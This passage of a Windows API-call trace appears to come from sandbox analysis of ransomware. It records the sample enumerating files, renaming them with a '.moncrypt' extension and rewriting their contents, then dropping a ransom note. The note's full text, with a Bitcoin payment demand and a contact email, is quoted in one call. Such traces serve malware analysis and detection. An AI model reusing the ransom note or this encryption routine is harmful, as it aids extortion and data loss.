lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0049.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLLr", lpUsedDefaultChar=0x0) returned 72 [0049.904] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0049.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\Smart Tag\\1033\\STINTL.DLLr", lpUsedDefaultChar=0x0) returned 4 [0049.904] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1 [0049.904] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0049.904] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.905] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.905] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.905] GlobalUnlock (hMem=0x440004) returned 0 [0049.905] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.905] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.905] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.905] GlobalUnlock (hMem=0x440004) returned 0 [0049.905] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.905] GlobalUnlock (hMem=0x44000c) returned 0 [0049.905] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.905] CharLowerBuffW (in: lpsz="STINTL.DLL.IDX_DLL", cchLength=0x12 | out: lpsz="stintl.dll.idx_dll") returned 0x12 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0049.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", cchWideChar=80, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLLe", lpUsedDefaultChar=0x0) returned 80 [0049.906] CharLowerBuffW (in: lpsz=".IDX_DLL", cchLength=0x8 | out: lpsz=".idx_dll") returned 0x8 [0049.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".idx_dll", cchWideChar=8, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".idx_dlled\\Smart Tag\\1033\\STINTL.DLL.IDX_DLLe", lpUsedDefaultChar=0x0) returned 8 [0049.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0049.906] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0049.908] CloseHandle (hObject=0x18c) returned 1 [0049.908] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\я")) returned 1 [0049.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0x54e240 [0049.909] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0049.909] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0049.909] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0049.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", dwFileAttributes=0x20) returned 1 [0049.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0049.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.moncrypt")) returned 1 [0049.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0049.911] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0049.911] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x3580 [0049.911] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0049.911] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x3580, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x3580, lpOverlapped=0x0) returned 1 [0049.913] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.913] GlobalLock (hMem=0x440004) returned 0x559b88 [0049.913] GlobalHandle (pMem=0x559b88) returned 0x440004 [0049.913] GlobalUnlock (hMem=0x440004) returned 0 [0049.913] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0049.913] GlobalLock (hMem=0x440004) returned 0x559b88 [0049.913] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.913] GlobalUnlock (hMem=0x44000c) returned 0 [0049.913] GlobalHandle (pMem=0x559b88) returned 0x440004 [0049.913] GlobalUnlock (hMem=0x440004) returned 0 [0049.913] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.913] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.913] GlobalUnlock (hMem=0x440004) returned 0 [0049.913] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0049.913] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.913] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.913] GlobalUnlock (hMem=0x440004) returned 0 [0049.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0049.924] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0049.925] CloseHandle (hObject=0x18c) returned 1 [0049.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.moncrypt", dwFileAttributes=0x20) returned 1 [0049.925] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0049.925] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.925] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.925] GlobalUnlock (hMem=0x440004) returned 0 [0049.925] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.925] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.925] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.925] GlobalUnlock (hMem=0x440004) returned 0 [0049.925] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.925] GlobalUnlock (hMem=0x44000c) returned 0 [0049.925] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0049.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69d18, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0049.926] GetLastError () returned 0x2 [0049.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0049.928] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0049.929] CloseHandle (hObject=0x18c) returned 1 [0049.929] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0049.929] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.929] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.929] GlobalUnlock (hMem=0x44000c) returned 0 [0049.929] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.929] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.929] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.929] GlobalUnlock (hMem=0x44000c) returned 0 [0049.929] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.929] GlobalUnlock (hMem=0x440004) returned 0 [0049.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3f0170c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f0170c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0049.929] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0049.930] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.930] GlobalLock (hMem=0x440004) returned 0x550170 [0049.930] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.930] GlobalUnlock (hMem=0x440004) returned 0 [0049.930] GlobalLock (hMem=0x440004) returned 0x550170 [0049.930] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.930] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.930] GlobalUnlock (hMem=0x440004) returned 0 [0049.930] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.930] GlobalUnlock (hMem=0x44000c) returned 0 [0049.930] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.930] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3f0170c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f0170c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.930] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0049.930] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.930] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.930] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.930] GlobalUnlock (hMem=0x44000c) returned 0 [0049.930] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.930] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.930] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.930] GlobalUnlock (hMem=0x44000c) returned 0 [0049.930] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.930] GlobalUnlock (hMem=0x440004) returned 0 [0049.930] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.930] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0170c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f0170c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f0170c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0049.930] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0049.930] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.930] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.930] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.930] GlobalUnlock (hMem=0x440004) returned 0 [0049.931] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.931] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.931] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.931] GlobalUnlock (hMem=0x440004) returned 0 [0049.931] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.931] GlobalUnlock (hMem=0x44000c) returned 0 [0049.931] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.931] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0049.931] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0049.931] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.931] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.931] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.931] GlobalUnlock (hMem=0x44000c) returned 0 [0049.931] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.931] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.931] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.931] GlobalUnlock (hMem=0x44000c) returned 0 [0049.931] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.931] GlobalUnlock (hMem=0x440004) returned 0 [0049.931] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.931] 